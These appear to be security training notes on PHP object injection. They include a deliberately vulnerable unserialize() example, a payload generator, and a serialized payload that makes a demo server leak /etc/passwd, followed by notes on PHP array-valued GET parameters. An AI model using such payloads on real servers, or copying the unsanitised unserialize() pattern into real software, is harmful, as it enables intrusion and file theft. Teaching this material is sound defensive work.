The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize()
PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize()
call, resulting in an arbitrary PHP object(s) injection into the application scope.
In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:
- The application must have a class which implements a PHP magic method (such as
__wakeup()
or__destruct()
) that can be used to carry out malicious attacks, or to start a "POP chain". - All of the classes used during the attack must be declared when the vulnerable
unserialize()
is being called, otherwise class autoloading must be supported for such classes.
- Warning! Keep in mind that access modifiers on fields (public, protected, private) result in different serialization. You must know and use the correct access modifiers in the class. Examples of different serializations when different access modifiers are used:
- Public:
O:6:"Logger":3:{s:7:"logFile";N;s:7:"initMsg";N;s:7:"exitMsg";N;}
- Protected:
O:6:"Logger":3:{s:10:"*logFile";N;s:10:"*initMsg";N;s:10:"*exitMsg";N;}
- Private:
O:6:"Logger":3:{s:15:"LoggerlogFile";N;s:15:"LoggerinitMsg";N;s:15:"LoggerexitMsg";N;}
- Public:
- For examples, see exploitation-training/network-exploitation/POCs/php-object-injection
- Commonly used magic methods for this type of attack:
__destruct()
Usually invoked at the end of the PHP module, but there are tricks to force the invocation earlier. From the manual.The destructor method will be called as soon as there are no other references to a particular object
__toString()
From the manualThe
__toString()
method allows a class to decide how it will react when it is treated like a string. For example, whatecho $obj;
will print__wakeup()
- From the manual:Conversely,
unserialize()
checks for the presence of a function with the magic name__wakeup()
. If present, this function can reconstruct any resources that the object may have.
- For payload generation using classes available in various frameworks, see the tool phpggc
PHPGGC is a library of
unserialize()
payloads along with a tool to generate them. When encountering anunserialize()
on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. - Breakdown of PHP's serialization
- Video by ippsec explaining PHP Deserialization and Object Injection
Assume that the following code is ran by a PHP webserver
class ReadFile {
public function __tostring() {
return file_get_contents($this->filename);
}
}
class User {
public $username; //forward declaration
public $isAdmin; //forward declaration
public function PrintData() {
if($this->isAdmin)
echo $this->username . " is Admin\n";
else
echo $this->username . " is NOT Admin\n";
}
}
if(array_key_exists('obj', $_POST)) {
$obj = unserialize($_POST['obj']);
$obj->PrintData();
} else {
echo "No Post Data\n";
}
The attacker can generate an arbitrary User
object, serialize it, and then finally send it through a POST request. The server performs no sanitization and gladly accepts it. Now, since PHP is not a statically typed language (i.e. types are associated with run-time values, not variables) all fields of a User
instance can be of any type. Thus we can create a User
whose username
filed can be an instance of ReadFile
class. When the PrintData()
method is invoked, it will work just fine since ReadFile
implements the magic method __tostring()
and no error will be created in the echo
lines.
So, an attacker can run the following PHP snippet to generate his payload
//payload-generator.php
class ReadFile {
public function __construct($filename) { $this->filename = $filename; }
}
class User {
public $username; //forward declaration
public $isAdmin; //forward declaration
}
//Lets dump the file: /etc/passwd
$obj = new User();
$obj->username = new ReadFile("/etc/passwd");
$obj->isAdmin = TRUE;
echo serialize($obj) . "\n";
nikos@ubuntu:/tmp$ php payload-generator.php
O:4:"User":2:{s:8:"username";O:8:"ReadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"isAdmin";b:1;}
Sending the above generated user with a POST request will result in the dumping of the file /etc/passwd
In PHP, it is possible to send an array as a GET parameter, instead of a string value. Sloppy code without proper input sanitization might assume that input is always a string thus unexpected bugs can happen when an array is provided. For example, lets say that we want the server to receive the following array
$arr = array(
0 => '0',
1 => '1',
2 => '2',
'foo' => 'bar'
);
Then our GET request would be:
GET /test-prj/test.php?arr[]=0&arr[]=1&arr[]=2&arr[foo]=bar
So lets dump our server-created array $arr
and the array present in the GET request with the following PHP snippet
if(array_key_exists("arr",$_REQUEST)) {
var_dump($_REQUEST["arr"]);
}
$arr = array(
0 => '0',
1 => '1',
2 => '2',
'foo' => 'bar'
);
var_dump($arr);
Running the above code, we get the following output, which shows that both arrays are identical
/home/nikos/PhpstormProjects/test-prj/test.php:11: array (size=4) 0 => string '0' (length=1) 1 => string '1' (length=1) 2 => string '2' (length=1) 'foo' => string 'bar' (length=3)
/home/nikos/PhpstormProjects/test-prj/test.php:20: array (size=4) 0 => string '0' (length=1) 1 => string '1' (length=1) 2 => string '2' (length=1) 'foo' => string 'bar' (length=3)
Notes:
- Numbers within the square brackets are not treated as strings, i.e.
?arr[0]=foo
will result in inserting thefoo
string at numeric index0
- Values are always treated as strings, i.e.
?arr[]=5
will result in inserting the string value5
, not a number- Same applies for
?arr[]=[]
(Will insert the string value[]
)
- Same applies for